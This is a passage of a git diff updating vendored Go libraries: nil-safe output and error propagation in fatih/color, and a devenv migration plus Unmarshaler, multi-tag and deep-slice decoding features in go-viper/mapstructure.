isatty.IsTerminal(os.Stdout.Fd()) || isatty.IsCygwinTerminal(os.Stdout.Fd()) +} + +// stdOut returns a writer for color output. +// Returns io.Discard if os.Stdout is nil (e.g., when running as a Windows service). +func stdOut() io.Writer { + if os.Stdout == nil { + return io.Discard + } + return colorable.NewColorableStdout() +} + +// stdErr returns a writer for color error output. +// Returns io.Discard if os.Stderr is nil (e.g., when running as a Windows service). +func stdErr() io.Writer { + if os.Stderr == nil { + return io.Discard + } + return colorable.NewColorableStderr() +} + // Color defines a custom color object which is defined by SGR parameters. type Color struct { params []Attribute @@ -220,26 +247,30 @@ func (c *Color) unset() { // a low-level function, and users should use the higher-level functions, such // as color.Fprint, color.Print, etc. func (c *Color) SetWriter(w io.Writer) *Color { + _, _ = c.setWriter(w) + return c +} + +func (c *Color) setWriter(w io.Writer) (int, error) { if c.isNoColorSet() { - return c + return 0, nil } - fmt.Fprint(w, c.format()) - return c + return fmt.Fprint(w, c.format()) } // UnsetWriter resets all escape attributes and clears the output with the give // io.Writer. Usually should be called after SetWriter(). func (c *Color) UnsetWriter(w io.Writer) { - if c.isNoColorSet() { - return - } + _, _ = c.unsetWriter(w) +} - if NoColor { - return +func (c *Color) unsetWriter(w io.Writer) (int, error) { + if c.isNoColorSet() { + return 0, nil } - fmt.Fprintf(w, "%s[%dm", escape, Reset) + return fmt.Fprintf(w, "%s[%dm", escape, Reset) } // Add is used to chain SGR parameters. Use as many as parameters to combine @@ -255,10 +286,20 @@ func (c *Color) Add(value ...Attribute) *Color { // On Windows, users should wrap w with colorable.NewColorable() if w is of // type *os.File. func (c *Color) Fprint(w io.Writer, a ...interface{}) (n int, err error) { - c.SetWriter(w) - defer c.UnsetWriter(w) + n, err = c.setWriter(w) + if err != nil { + return n, err + } + + nn, err := fmt.Fprint(w, a...) + n += nn + if err != nil { + return + } - return fmt.Fprint(w, a...) + nn, err = c.unsetWriter(w) + n += nn + return n, err } // Print formats using the default formats for its operands and writes to @@ -278,10 +319,20 @@ func (c *Color) Print(a ...interface{}) (n int, err error) { // On Windows, users should wrap w with colorable.NewColorable() if w is of // type *os.File. func (c *Color) Fprintf(w io.Writer, format string, a ...interface{}) (n int, err error) { - c.SetWriter(w) - defer c.UnsetWriter(w) + n, err = c.setWriter(w) + if err != nil { + return n, err + } + + nn, err := fmt.Fprintf(w, format, a...) + n += nn + if err != nil { + return + } - return fmt.Fprintf(w, format, a...) + nn, err = c.unsetWriter(w) + n += nn + return n, err } // Printf formats according to a format specifier and writes to standard output. @@ -475,27 +526,24 @@ func (c *Color) Equals(c2 *Color) bool { if c == nil || c2 == nil { return false } + if len(c.params) != len(c2.params) { return false } + counts := make(map[Attribute]int, len(c.params)) for _, attr := range c.params { - if !c2.attrExists(attr) { - return false - } + counts[attr]++ } - return true -} - -func (c *Color) attrExists(a Attribute) bool { - for _, attr := range c.params { - if attr == a { - return true + for _, attr := range c2.params { + if counts[attr] == 0 { + return false } + counts[attr]-- } - return false + return true } func boolPtr(v bool) *bool { diff --git a/vendor/github.com/fatih/color/color_windows.go b/vendor/github.com/fatih/color/color_windows.go index be01c558..97e5a765 100644 --- a/vendor/github.com/fatih/color/color_windows.go +++ b/vendor/github.com/fatih/color/color_windows.go @@ -9,6 +9,9 @@ import ( func init() { // Opt-in for ansi color support for current process. // https://learn.microsoft.com/en-us/windows/console/console-virtual-terminal-sequences#output-sequences + if os.Stdout == nil { + return + } var outMode uint32 out := windows.Handle(os.Stdout.Fd()) if err := windows.GetConsoleMode(out, &outMode); err != nil { diff --git a/vendor/github.com/go-viper/mapstructure/v2/.editorconfig b/vendor/github.com/go-viper/mapstructure/v2/.editorconfig index faef0c91..c37602a0 100644 --- a/vendor/github.com/go-viper/mapstructure/v2/.editorconfig +++ b/vendor/github.com/go-viper/mapstructure/v2/.editorconfig @@ -19,3 +19,6 @@ indent_size = 2 [.golangci.yaml] indent_size = 2 + +[devenv.yaml] +indent_size = 2 diff --git a/vendor/github.com/go-viper/mapstructure/v2/.envrc b/vendor/github.com/go-viper/mapstructure/v2/.envrc index 2e0f9f5f..e2be8891 100644 --- a/vendor/github.com/go-viper/mapstructure/v2/.envrc +++ b/vendor/github.com/go-viper/mapstructure/v2/.envrc @@ -1,4 +1,7 @@ -if ! has nix_direnv_version || ! nix_direnv_version 3.0.4; then - source_url "https://raw.githubusercontent.com/nix-community/nix-direnv/3.0.4/direnvrc" "sha256-DzlYZ33mWF/Gs8DDeyjr8mnVmQGx7ASYqA5WlxwvBG4=" -fi -use flake . --impure +#!/usr/bin/env bash + +export DIRENV_WARN_TIMEOUT=20s + +eval "$(devenv direnvrc)" + +use devenv diff --git a/vendor/github.com/go-viper/mapstructure/v2/.gitignore b/vendor/github.com/go-viper/mapstructure/v2/.gitignore index 470e7ca2..71caea19 100644 --- a/vendor/github.com/go-viper/mapstructure/v2/.gitignore +++ b/vendor/github.com/go-viper/mapstructure/v2/.gitignore @@ -1,6 +1,10 @@ -/.devenv/ -/.direnv/ -/.pre-commit-config.yaml /bin/ /build/ /var/ + +# Devenv +.devenv* +devenv.local.nix +devenv.local.yaml +.direnv +.pre-commit-config.yaml diff --git a/vendor/github.com/go-viper/mapstructure/v2/devenv.lock b/vendor/github.com/go-viper/mapstructure/v2/devenv.lock new file mode 100644 index 00000000..72c2c9b4 --- /dev/null +++ b/vendor/github.com/go-viper/mapstructure/v2/devenv.lock @@ -0,0 +1,103 @@ +{ + "nodes": { + "devenv": { + "locked": { + "dir": "src/modules", + "lastModified": 1765288076, + "owner": "cachix", + "repo": "devenv", + "rev": "93c055af1e8fcac49251f1b2e1c57f78620ad351", + "type": "github" + }, + "original": { + "dir": "src/modules", + "owner": "cachix", + "repo": "devenv", + "type": "github" + } + }, + "flake-compat": { + "flake": false, + "locked": { + "lastModified": 1765121682, + "owner": "edolstra", + "repo": "flake-compat", + "rev": "65f23138d8d09a92e30f1e5c87611b23ef451bf3", + "type": "github" + }, + "original": { + "owner": "edolstra", + "repo": "flake-compat", + "type": "github" + } + }, + "git-hooks": { + "inputs": { + "flake-compat": "flake-compat", + "gitignore": "gitignore", + "nixpkgs": [ + "nixpkgs" + ] + }, + "locked": { + "lastModified": 1765016596, + "owner": "cachix", + "repo": "git-hooks.nix", + "rev": "548fc44fca28a5e81c5d6b846e555e6b9c2a5a3c", + "type": "github" + }, + "original": { + "owner": "cachix", + "repo": "git-hooks.nix", + "type": "github" + } + }, + "gitignore": { + "inputs": { + "nixpkgs": [ + "git-hooks", + "nixpkgs" + ] + }, + "locked": { + "lastModified": 1762808025, + "owner": "hercules-ci", + "repo": "gitignore.nix", + "rev": "cb5e3fdca1de58ccbc3ef53de65bd372b48f567c", + "type": "github" + }, + "original": { + "owner": "hercules-ci", + "repo": "gitignore.nix", + "type": "github" + } + }, + "nixpkgs": { + "locked": { + "lastModified": 1764580874, + "owner": "cachix", + "repo": "devenv-nixpkgs", + "rev": "dcf61356c3ab25f1362b4a4428a6d871e84f1d1d", + "type": "github" + }, + "original": { + "owner": "cachix", + "ref": "rolling", + "repo": "devenv-nixpkgs", + "type": "github" + } + }, + "root": { + "inputs": { + "devenv": "devenv", + "git-hooks": "git-hooks", + "nixpkgs": "nixpkgs", + "pre-commit-hooks": [ + "git-hooks" + ] + } + } + }, + "root": "root", + "version": 7 +} diff --git a/vendor/github.com/go-viper/mapstructure/v2/devenv.nix b/vendor/github.com/go-viper/mapstructure/v2/devenv.nix new file mode 100644 index 00000000..b31ab7a1 --- /dev/null +++ b/vendor/github.com/go-viper/mapstructure/v2/devenv.nix @@ -0,0 +1,14 @@ +{ + pkgs, + ... +}: + +{ + languages = { + go.enable = true; + }; + + packages = with pkgs; [ + golangci-lint + ]; +} diff --git a/vendor/github.com/go-viper/mapstructure/v2/devenv.yaml b/vendor/github.com/go-viper/mapstructure/v2/devenv.yaml new file mode 100644 index 00000000..68616a49 --- /dev/null +++ b/vendor/github.com/go-viper/mapstructure/v2/devenv.yaml @@ -0,0 +1,4 @@ +# yaml-language-server: $schema=https://devenv.sh/devenv.schema.json +inputs: + nixpkgs: + url: github:cachix/devenv-nixpkgs/rolling diff --git a/vendor/github.com/go-viper/mapstructure/v2/flake.lock b/vendor/github.com/go-viper/mapstructure/v2/flake.lock deleted file mode 100644 index 5e67bdd6..00000000 --- a/vendor/github.com/go-viper/mapstructure/v2/flake.lock +++ /dev/null @@ -1,294 +0,0 @@ -{ - "nodes": { - "cachix": { - "inputs": { - "devenv": [ - "devenv" - ], - "flake-compat": [ - "devenv" - ], - "git-hooks": [ - "devenv" - ], - "nixpkgs": "nixpkgs" - }, - "locked": { - "lastModified": 1742042642, - "narHash": "sha256-D0gP8srrX0qj+wNYNPdtVJsQuFzIng3q43thnHXQ/es=", - "owner": "cachix", - "repo": "cachix", - "rev": "a624d3eaf4b1d225f918de8543ed739f2f574203", - "type": "github" - }, - "original": { - "owner": "cachix", - "ref": "latest", - "repo": "cachix", - "type": "github" - } - }, - "devenv": { - "inputs": { - "cachix": "cachix", - "flake-compat": "flake-compat", - "git-hooks": "git-hooks", - "nix": "nix", - "nixpkgs": "nixpkgs_3" - }, - "locked": { - "lastModified": 1744876578, - "narHash": "sha256-8MTBj2REB8t29sIBLpxbR0+AEGJ7f+RkzZPAGsFd40c=", - "owner": "cachix", - "repo": "devenv", - "rev": "7ff7c351bba20d0615be25ecdcbcf79b57b85fe1", - "type": "github" - }, - "original": { - "owner": "cachix", - "repo": "devenv", - "type": "github" - } - }, - "flake-compat": { - "flake": false, - "locked": { - "lastModified": 1733328505, - "narHash": "sha256-NeCCThCEP3eCl2l/+27kNNK7QrwZB1IJCrXfrbv5oqU=", - "owner": "edolstra", - "repo": "flake-compat", - "rev": "ff81ac966bb2cae68946d5ed5fc4994f96d0ffec", - "type": "github" - }, - "original": { - "owner": "edolstra", - "repo": "flake-compat", - "type": "github" - } - }, - "flake-parts": { - "inputs": { - "nixpkgs-lib": [ - "devenv", - "nix", - "nixpkgs" - ] - }, - "locked": { - "lastModified": 1712014858, - "narHash": "sha256-sB4SWl2lX95bExY2gMFG5HIzvva5AVMJd4Igm+GpZNw=", - "owner": "hercules-ci", - "repo": "flake-parts", - "rev": "9126214d0a59633752a136528f5f3b9aa8565b7d", - "type": "github" - }, - "original": { - "owner": "hercules-ci", - "repo": "flake-parts", - "type": "github" - } - }, - "flake-parts_2": { - "inputs": { - "nixpkgs-lib": "nixpkgs-lib" - }, - "locked": { - "lastModified": 1743550720, - "narHash": "sha256-hIshGgKZCgWh6AYJpJmRgFdR3WUbkY04o82X05xqQiY=", - "owner": "hercules-ci", - "repo": "flake-parts", - "rev": "c621e8422220273271f52058f618c94e405bb0f5", - "type": "github" - }, - "original": { - "owner": "hercules-ci", - "repo": "flake-parts", - "type": "github" - } - }, - "git-hooks": { - "inputs": { - "flake-compat": [ - "devenv" - ], - "gitignore": "gitignore", - "nixpkgs": [ - "devenv", - "nixpkgs" - ] - }, - "locked": { - "lastModified": 1742649964, - "narHash": "sha256-DwOTp7nvfi8mRfuL1escHDXabVXFGT1VlPD1JHrtrco=", - "owner": "cachix", - "repo": "git-hooks.nix", - "rev": "dcf5072734cb576d2b0c59b2ac44f5050b5eac82", - "type": "github" - }, - "original": { - "owner": "cachix", - "repo": "git-hooks.nix", - "type": "github" - } - }, - "gitignore": { - "inputs": { - "nixpkgs": [ - "devenv", - "git-hooks", - "nixpkgs" - ] - }, - "locked": { - "lastModified": 1709087332, - "narHash": "sha256-HG2cCnktfHsKV0s4XW83gU3F57gaTljL9KNSuG6bnQs=", - "owner": "hercules-ci", - "repo": "gitignore.nix", - "rev": "637db329424fd7e46cf4185293b9cc8c88c95394", - "type": "github" - }, - "original": { - "owner": "hercules-ci", - "repo": "gitignore.nix", - "type": "github" - } - }, - "libgit2": { - "flake": false, - "locked": { - "lastModified": 1697646580, - "narHash": "sha256-oX4Z3S9WtJlwvj0uH9HlYcWv+x1hqp8mhXl7HsLu2f0=", - "owner": "libgit2", - "repo": "libgit2", - "rev": "45fd9ed7ae1a9b74b957ef4f337bc3c8b3df01b5", - "type": "github" - }, - "original": { - "owner": "libgit2", - "repo": "libgit2", - "type": "github" - } - }, - "nix": { - "inputs": { - "flake-compat": [ - "devenv" - ], - "flake-parts": "flake-parts", - "libgit2": "libgit2", - "nixpkgs": "nixpkgs_2", - "nixpkgs-23-11": [ - "devenv" - ], - "nixpkgs-regression": [ - "devenv" - ], - "pre-commit-hooks": [ - "devenv" - ] - }, - "locked": { - "lastModified": 1741798497, - "narHash": "sha256-E3j+3MoY8Y96mG1dUIiLFm2tZmNbRvSiyN7CrSKuAVg=", - "owner": "domenkozar", - "repo": "nix", - "rev": "f3f44b2baaf6c4c6e179de8cbb1cc6db031083cd", - "type": "github" - }, - "original": { - "owner": "domenkozar", - "ref": "devenv-2.24", - "repo": "nix", - "type": "github" - } - }, - "nixpkgs": { - "locked": { - "lastModified": 1733212471, - "narHash": "sha256-M1+uCoV5igihRfcUKrr1riygbe73/dzNnzPsmaLCmpo=", - "owner": "NixOS", - "repo": "nixpkgs", - "rev": "55d15ad12a74eb7d4646254e13638ad0c4128776", - "type": "github" - }, - "original": { - "owner": "NixOS", - "ref": "nixos-unstable", - "repo": "nixpkgs", - "type": "github" - } - }, - "nixpkgs-lib": { - "locked": { - "lastModified": 1743296961, - "narHash": "sha256-b1EdN3cULCqtorQ4QeWgLMrd5ZGOjLSLemfa00heasc=", - "owner": "nix-community", - "repo": "nixpkgs.lib", - "rev": "e4822aea2a6d1cdd36653c134cacfd64c97ff4fa", - "type": "github" - }, - "original": { - "owner": "nix-community", - "repo": "nixpkgs.lib", - "type": "github" - } - }, - "nixpkgs_2": { - "locked": { - "lastModified": 1717432640, - "narHash": "sha256-+f9c4/ZX5MWDOuB1rKoWj+lBNm0z0rs4CK47HBLxy1o=", - "owner": "NixOS", - "repo": "nixpkgs", - "rev": "88269ab3044128b7c2f4c7d68448b2fb50456870", - "type": "github" - }, - "original": { - "owner": "NixOS", - "ref": "release-24.05", - "repo": "nixpkgs", - "type": "github" - } - }, - "nixpkgs_3": { - "locked": { - "lastModified": 1733477122, - "narHash": "sha256-qamMCz5mNpQmgBwc8SB5tVMlD5sbwVIToVZtSxMph9s=", - "owner": "cachix", - "repo": "devenv-nixpkgs", - "rev": "7bd9e84d0452f6d2e63b6e6da29fe73fac951857", - "type": "github" - }, - "original": { - "owner": "cachix", - "ref": "rolling", - "repo": "devenv-nixpkgs", - "type": "github" - } - }, - "nixpkgs_4": { - "locked": { - "lastModified": 1744536153, - "narHash": "sha256-awS2zRgF4uTwrOKwwiJcByDzDOdo3Q1rPZbiHQg/N38=", - "owner": "NixOS", - "repo": "nixpkgs", - "rev": "18dd725c29603f582cf1900e0d25f9f1063dbf11", - "type": "github" - }, - "original": { - "owner": "NixOS", - "ref": "nixpkgs-unstable", - "repo": "nixpkgs", - "type": "github" - } - }, - "root": { - "inputs": { - "devenv": "devenv", - "flake-parts": "flake-parts_2", - "nixpkgs": "nixpkgs_4" - } - } - }, - "root": "root", - "version": 7 -} diff --git a/vendor/github.com/go-viper/mapstructure/v2/flake.nix b/vendor/github.com/go-viper/mapstructure/v2/flake.nix deleted file mode 100644 index 3b116f42..00000000 --- a/vendor/github.com/go-viper/mapstructure/v2/flake.nix +++ /dev/null @@ -1,46 +0,0 @@ -{ - inputs = { - nixpkgs.url = "github:NixOS/nixpkgs/nixpkgs-unstable"; - flake-parts.url = "github:hercules-ci/flake-parts"; - devenv.url = "github:cachix/devenv"; - }; - - outputs = - inputs@{ flake-parts, ... }: - flake-parts.lib.mkFlake { inherit inputs; } { - imports = [ - inputs.devenv.flakeModule - ]; - - systems = [ - "x86_64-linux" - "x86_64-darwin" - "aarch64-darwin" - ]; - - perSystem = - { pkgs, ... }: - rec { - devenv.shells = { - default = { - languages = { - go.enable = true; - }; - - pre-commit.hooks = { - nixpkgs-fmt.enable = true; - }; - - packages = with pkgs; [ - golangci-lint - ]; - - # https://github.com/cachix/devenv/issues/528#issuecomment-1556108767 - containers = pkgs.lib.mkForce { }; - }; - - ci = devenv.shells.default; - }; - }; - }; -} diff --git a/vendor/github.com/go-viper/mapstructure/v2/mapstructure.go b/vendor/github.com/go-viper/mapstructure/v2/mapstructure.go index 7c35bce0..9087fd96 100644 --- a/vendor/github.com/go-viper/mapstructure/v2/mapstructure.go +++ b/vendor/github.com/go-viper/mapstructure/v2/mapstructure.go @@ -173,6 +173,25 @@ // Public: "I made it through!" // } // +// # Custom Decoding with Unmarshaler +// +// Types can implement the Unmarshaler interface to control their own decoding. The interface +// behaves similarly to how UnmarshalJSON does in the standard library. It can be used as an +// alternative or companion to a DecodeHook. +// +// type TrimmedString string +// +// func (t *TrimmedString) UnmarshalMapstructure(input any) error { +// str, ok := input.(string) +// if !ok { +// return fmt.Errorf("expected string, got %T", input) +// } +// *t = TrimmedString(strings.TrimSpace(str)) +// return nil +// } +// +// See the Unmarshaler interface documentation for more details. +// // # Other Configuration // // mapstructure is highly configurable. See the DecoderConfig struct @@ -218,6 +237,17 @@ type DecodeHookFuncKind func(reflect.Kind, reflect.Kind, any) (any, error) // values. type DecodeHookFuncValue func(from reflect.Value, to reflect.Value) (any, error) +// Unmarshaler is the interface implemented by types that can unmarshal +// themselves. UnmarshalMapstructure receives the input data (potentially +// transformed by DecodeHook) and should populate the receiver with the +// decoded values. +// +// The Unmarshaler interface takes precedence over the default decoding +// logic for any type (structs, slices, maps, primitives, etc.). +type Unmarshaler interface { + UnmarshalMapstructure(any) error +} + // DecoderConfig is the configuration that is used to create a new decoder // and allows customization of various aspects of decoding. type DecoderConfig struct { @@ -281,6 +311,13 @@ type DecoderConfig struct { // } Squash bool + // Deep will map structures in slices instead of copying them + // + // type Parent struct { + // Children []Child `mapstructure:",deep"` + // } + Deep bool + // Metadata is the struct that will contain extra metadata about // the decoding. If this is nil, then no metadata will be tracked. Metadata *Metadata @@ -290,9 +327,15 @@ type DecoderConfig struct { Result any // The tag name that mapstructure reads for field names. This - // defaults to "mapstructure" + // defaults to "mapstructure". Multiple tag names can be specified + // as a comma-separated list (e.g., "yaml,json"), and the first + // matching non-empty tag will be used. TagName string + // RootName specifies the name to use for the root element in error messages. For example: + // '' has unset fields: + RootName string + // The option of the value in the tag that indicates a field should // be squashed. This defaults to "squash". SquashTagOption string @@ -304,11 +347,34 @@ type DecoderConfig struct { // MatchName is the function used to match the map key to the struct // field name or tag. Defaults to `strings.EqualFold`. This can be used // to implement case-sensitive tag values, support snake casing, etc. + // + // MatchName is used as a fallback comparison when the direct key lookup fails. + // See also MapFieldName for transforming field names before lookup. MatchName func(mapKey, fieldName string) bool // DecodeNil, if set to true, will cause the DecodeHook (if present) to run // even if the input is nil. This can be used to provide default values. DecodeNil bool + + // MapFieldName is the function used to convert the struct field name to the map's key name. + // + // This is useful for automatically converting between naming conventions without + // explicitly tagging each field. For example, to convert Go's PascalCase field names + // to snake_case map keys: + // + // MapFieldName: func(s string) string { + // return strcase.ToSnake(s) + // } + // + // When decoding from a map to a struct, the transformed field name is used for + // the initial lookup. If not found, MatchName is used as a fallback comparison. + // Explicit struct tags always take precedence over MapFieldName. + MapFieldName func(string) string + + // DisableUnmarshaler, if set to true, disables the use of the Unmarshaler + // interface. Types implementing Unmarshaler will be decoded using the + // standard struct decoding logic instead. + DisableUnmarshaler bool } // A Decoder takes a raw interface value and turns it into structured @@ -445,6 +511,12 @@ func NewDecoder(config *DecoderConfig) (*Decoder, error) { config.MatchName = strings.EqualFold } + if config.MapFieldName == nil { + config.MapFieldName = func(s string) string { + return s + } + } + result := &Decoder{ config: config, } @@ -458,7 +530,7 @@ func NewDecoder(config *DecoderConfig) (*Decoder, error) { // Decode decodes the given raw interface to the target pointer specified // by the configuration. func (d *Decoder) Decode(input any) error { - err := d.decode("", input, reflect.ValueOf(d.config.Result).Elem()) + err := d.decode(d.config.RootName, input, reflect.ValueOf(d.config.Result).Elem()) // Retain some of the original behavior when multiple errors ocurr var joinedErr interface{ Unwrap() []error } @@ -540,36 +612,50 @@ func (d *Decoder) decode(name string, input any, outVal reflect.Value) error { var err error addMetaKey := true - switch outputKind { - case reflect.Bool: - err = d.decodeBool(name, input, outVal) - case reflect.Interface: - err = d.decodeBasic(name, input, outVal) - case reflect.String: - err = d.decodeString(name, input, outVal) - case reflect.Int: - err = d.decodeInt(name, input, outVal) - case reflect.Uint: - err = d.decodeUint(name, input, outVal) - case reflect.Float32: - err = d.decodeFloat(name, input, outVal) - case reflect.Complex64: - err = d.decodeComplex(name, input, outVal) - case reflect.Struct: - err = d.decodeStruct(name, input, outVal) - case reflect.Map: - err = d.decodeMap(name, input, outVal) - case reflect.Ptr: - addMetaKey, err = d.decodePtr(name, input, outVal) - case reflect.Slice: - err = d.decodeSlice(name, input, outVal) - case reflect.Array: - err = d.decodeArray(name, input, outVal) - case reflect.Func: - err = d.decodeFunc(name, input, outVal) - default: - // If we reached this point then we weren't able to decode it - return newDecodeError(name, fmt.Errorf("unsupported type: %s", outputKind)) + + // Check if the target implements Unmarshaler and use it if not disabled + unmarshaled := false + if !d.config.DisableUnmarshaler { + if unmarshaler, ok := getUnmarshaler(outVal); ok { + if err = unmarshaler.UnmarshalMapstructure(input); err != nil { + err = newDecodeError(name, err) + } + unmarshaled = true + } + } + + if !unmarshaled { + switch outputKind { + case reflect.Bool: + err = d.decodeBool(name, input, outVal) + case reflect.Interface: + err = d.decodeBasic(name, input, outVal) + case reflect.String: + err = d.decodeString(name, input, outVal) + case reflect.Int: + err = d.decodeInt(name, input, outVal) + case reflect.Uint: + err = d.decodeUint(name, input, outVal) + case reflect.Float32: + err = d.decodeFloat(name, input, outVal) + case reflect.Complex64: + err = d.decodeComplex(name, input, outVal) + case reflect.Struct: + err = d.decodeStruct(name, input, outVal) + case reflect.Map: + err = d.decodeMap(name, input, outVal) + case reflect.Ptr: + addMetaKey, err = d.decodePtr(name, input, outVal) + case reflect.Slice: + err = d.decodeSlice(name, input, outVal) + case reflect.Array: + err = d.decodeArray(name, input, outVal) + case reflect.Func: + err = d.decodeFunc(name, input, outVal) + default: + // If we reached this point then we weren't able to decode it + return newDecodeError(name, fmt.Errorf("unsupported type: %s", outputKind)) + } } // If we reached here, then we successfully decoded SOMETHING, so @@ -668,7 +754,7 @@ func (d *Decoder) decodeString(name string, data any, val reflect.Value) error { case reflect.Uint8: var uints []uint8 if dataKind == reflect.Array { - uints = make([]uint8, dataVal.Len(), dataVal.Len()) + uints = make([]uint8, dataVal.Len()) for i := range uints { uints[i] = dataVal.Index(i).Interface().(uint8) } @@ -1060,8 +1146,8 @@ func (d *Decoder) decodeMapFromStruct(name string, dataVal reflect.Value, val re ) } - tagValue := f.Tag.Get(d.config.TagName) - keyName := f.Name + tagValue, _ := getTagValue(f, d.config.TagName) + keyName := d.config.MapFieldName(f.Name) if tagValue == "" && d.config.IgnoreUntaggedFields { continue @@ -1070,6 +1156,9 @@ func (d *Decoder) decodeMapFromStruct(name string, dataVal reflect.Value, val re // If Squash is set in the config, we squash the field down. squash := d.config.Squash && v.Kind() == reflect.Struct && f.Anonymous + // If Deep is set in the config, set as default value. + deep := d.config.Deep + v = dereferencePtrToStructIfNeeded(v, d.config.TagName) // Determine the name of the key in the map @@ -1078,12 +1167,12 @@ func (d *Decoder) decodeMapFromStruct(name string, dataVal reflect.Value, val re continue } // If "omitempty" is specified in the tag, it ignores empty values. - if strings.Index(tagValue[index+1:], "omitempty") != -1 && isEmptyValue(v) { + if strings.Contains(tagValue[index+1:], "omitempty") && isEmptyValue(v) { continue } // If "omitzero" is specified in the tag, it ignores zero values. - if strings.Index(tagValue[index+1:], "omitzero") != -1 && v.IsZero() { + if strings.Contains(tagValue[index+1:], "omitzero") && v.IsZero() { continue } @@ -1103,7 +1192,7 @@ func (d *Decoder) decodeMapFromStruct(name string, dataVal reflect.Value, val re ) } } else { - if strings.Index(tagValue[index+1:], "remain") != -1 { + if strings.Contains(tagValue[index+1:], "remain") { if v.Kind() != reflect.Map { return newDecodeError( name+"."+f.Name, @@ -1118,6 +1207,9 @@ func (d *Decoder) decodeMapFromStruct(name string, dataVal reflect.Value, val re continue } } + + deep = deep || strings.Contains(tagValue[index+1:], "deep") + if keyNameTagValue := tagValue[:index]; keyNameTagValue != "" { keyName = keyNameTagValue } @@ -1164,6 +1256,41 @@ func (d *Decoder) decodeMapFromStruct(name string, dataVal reflect.Value, val re valMap.SetMapIndex(reflect.ValueOf(keyName), vMap) } + case reflect.Slice: + if deep { + var childType reflect.Type + switch v.Type().Elem().Kind() { + case reflect.Struct: + childType = reflect.TypeOf(map[string]any{}) + default: + childType = v.Type().Elem() + } + + sType := reflect.SliceOf(childType) + + addrVal := reflect.New(sType) + + vSlice := reflect.MakeSlice(sType, v.Len(), v.Cap()) + + if v.Len() > 0 { + reflect.Indirect(addrVal).Set(vSlice) + + err := d.decode(keyName, v.Interface(), reflect.Indirect(addrVal)) + if err != nil { + return err + } + } + + vSlice = reflect.Indirect(addrVal) + + valMap.SetMapIndex(reflect.ValueOf(keyName), vSlice) + + break + } + + // When deep mapping is not needed, fallthrough to normal copy + fallthrough + default: valMap.SetMapIndex(reflect.ValueOf(keyName), v) } @@ -1471,7 +1598,10 @@ func (d *Decoder) decodeStructFromMap(name string, dataVal, val reflect.Value) e remain := false // We always parse the tags cause we're looking for other tags too - tagParts := strings.Split(fieldType.Tag.Get(d.config.TagName), ",") + tagParts := getTagParts(fieldType, d.config.TagName) + if len(tagParts) == 0 { + tagParts = []string{""} + } for _, tag := range tagParts[1:] { if tag == d.config.SquashTagOption { squash = true @@ -1492,6 +1622,18 @@ func (d *Decoder) decodeStructFromMap(name string, dataVal, val reflect.Value) e if !fieldVal.IsNil() { structs = append(structs, fieldVal.Elem().Elem()) } + case reflect.Ptr: + if fieldVal.Type().Elem().Kind() == reflect.Struct { + if fieldVal.IsNil() { + fieldVal.Set(reflect.New(fieldVal.Type().Elem())) + } + structs = append(structs, fieldVal.Elem()) + } else { + errs = append(errs, newDecodeError( + name+"."+fieldType.Name, + fmt.Errorf("unsupported type for squashed pointer: %s", fieldVal.Type().Elem().Kind()), + )) + } default: errs = append(errs, newDecodeError( name+"."+fieldType.Name, @@ -1516,13 +1658,15 @@ func (d *Decoder) decodeStructFromMap(name string, dataVal, val reflect.Value) e field, fieldValue := f.field, f.val fieldName := field.Name - tagValue := field.Tag.Get(d.config.TagName) + tagValue, _ := getTagValue(field, d.config.TagName) if tagValue == "" && d.config.IgnoreUntaggedFields { continue } tagValue = strings.SplitN(tagValue, ",", 2)[0] if tagValue != "" { fieldName = tagValue + } else { + fieldName = d.config.MapFieldName(fieldName) } rawMapKey := reflect.ValueOf(fieldName) @@ -1605,8 +1749,14 @@ func (d *Decoder) decodeStructFromMap(name string, dataVal, val reflect.Value) e } sort.Strings(keys) + // Improve error message when name is empty by showing the target struct type + // in the case where it is empty for embedded structs. + errorName := name + if errorName == "" { + errorName = val.Type().String() + } errs = append(errs, newDecodeError( - name, + errorName, fmt.Errorf("has invalid keys: %s", strings.Join(keys, ", ")), )) } @@ -1692,7 +1842,7 @@ func isStructTypeConvertibleToMap(typ reflect.Type, checkMapstructureTags bool, if f.PkgPath == "" && !checkMapstructureTags { // check for unexported fields return true } - if checkMapstructureTags && f.Tag.Get(tagName) != "" { // check for mapstructure tags inside + if checkMapstructureTags && hasAnyTag(f, tagName) { // check for mapstructure tags inside return true } } @@ -1700,13 +1850,99 @@ func isStructTypeConvertibleToMap(typ reflect.Type, checkMapstructureTags bool, } func dereferencePtrToStructIfNeeded(v reflect.Value, tagName string) reflect.Value { - if v.Kind() != reflect.Ptr || v.Elem().Kind() != reflect.Struct { + if v.Kind() != reflect.Ptr { + return v + } + + switch v.Elem().Kind() { + case reflect.Slice: + return v.Elem() + + case reflect.Struct: + deref := v.Elem() + derefT := deref.Type() + if isStructTypeConvertibleToMap(derefT, true, tagName) { + return deref + } + return v + + default: return v } - deref := v.Elem() - derefT := deref.Type() - if isStructTypeConvertibleToMap(derefT, true, tagName) { - return deref +} + +func hasAnyTag(field reflect.StructField, tagName string) bool { + _, ok := getTagValue(field, tagName) + return ok +} + +func getTagParts(field reflect.StructField, tagName string) []string { + tagValue, ok := getTagValue(field, tagName) + if !ok { + return nil } - return v + return strings.Split(tagValue, ",") +} + +func getTagValue(field reflect.StructField, tagName string) (string, bool) { + for _, name := range splitTagNames(tagName) { + if tag := field.Tag.Get(name); tag != "" { + return tag, true + } + } + return "", false +} + +func splitTagNames(tagName string) []string { + if tagName == "" { + return []string{"mapstructure"} + } + parts := strings.Split(tagName, ",") + result := make([]string, 0, len(parts)) + + for _, name := range parts { + name = strings.TrimSpace(name) + if name != "" { + result = append(result, name) + } + } + + return result +} + +// unmarshalerType is cached for performance +var unmarshalerType = reflect.TypeOf((*Unmarshaler)(nil)).Elem() + +// getUnmarshaler checks if the value implements Unmarshaler and returns +// the Unmarshaler and a boolean indicating if it was found. It handles both +// pointer and value receivers. +func getUnmarshaler(val reflect.Value) (Unmarshaler, bool) { + // Skip invalid or nil values + if !val.IsValid() { + return nil, false + } + + switch val.Kind() { + case reflect.Pointer, reflect.Interface: + if val.IsNil() { + return nil, false + } + } + + // Check pointer receiver first (most common case) + if val.CanAddr() { + ptrVal := val.Addr() + // Quick check: if no methods, can't implement any interface + if ptrVal.Type().NumMethod() > 0 && ptrVal.Type().Implements(unmarshalerType) { + return ptrVal.Interface().(Unmarshaler), true + } + } + + // Check value receiver + // Quick check: if no methods, can't implement any interface + if val.Type().NumMethod() > 0 && val.CanInterface() && val.Type().Implements(unmarshalerType) { + return val.Interface().(Unmarshaler), true + } + + return nil, false } diff --git a/vendor/github.com/gogo/protobuf/AUTHORS 